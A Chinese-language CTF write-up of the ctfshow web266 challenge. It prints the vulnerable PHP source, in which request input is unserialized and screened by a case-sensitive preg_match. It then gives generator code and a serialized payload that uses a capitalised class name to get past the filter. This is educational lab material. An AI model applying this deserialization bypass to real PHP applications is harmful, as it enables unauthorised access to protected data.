PHP反序列化题型_绕过preg_match1
  cv1l28rUMlGf 2023年11月19日 35 0
ctfshow web266

<?php

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}
?>

本题利用的是php的类名和方法名不缺分大小写特性(但是变量名敏感),利用大写类名绕过preg_match检查。

但是本题也有一个坑点,payload不能再urlencode,因为是通过php://input提交,并不会在后台进行urldecode,如果换作get提交则可用urlencode后再提交

<?php
class Ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';

}

$a =new Ctfshow();

//echo urlencode(serialize($a));
echo serialize($a);
?>

payload:

O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

PHP反序列化题型_绕过preg_match1_php

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月19日 0

暂无评论

推荐阅读
  7o0lrI1v52Tn   2023年12月10日   33   0   0 phpCTFweb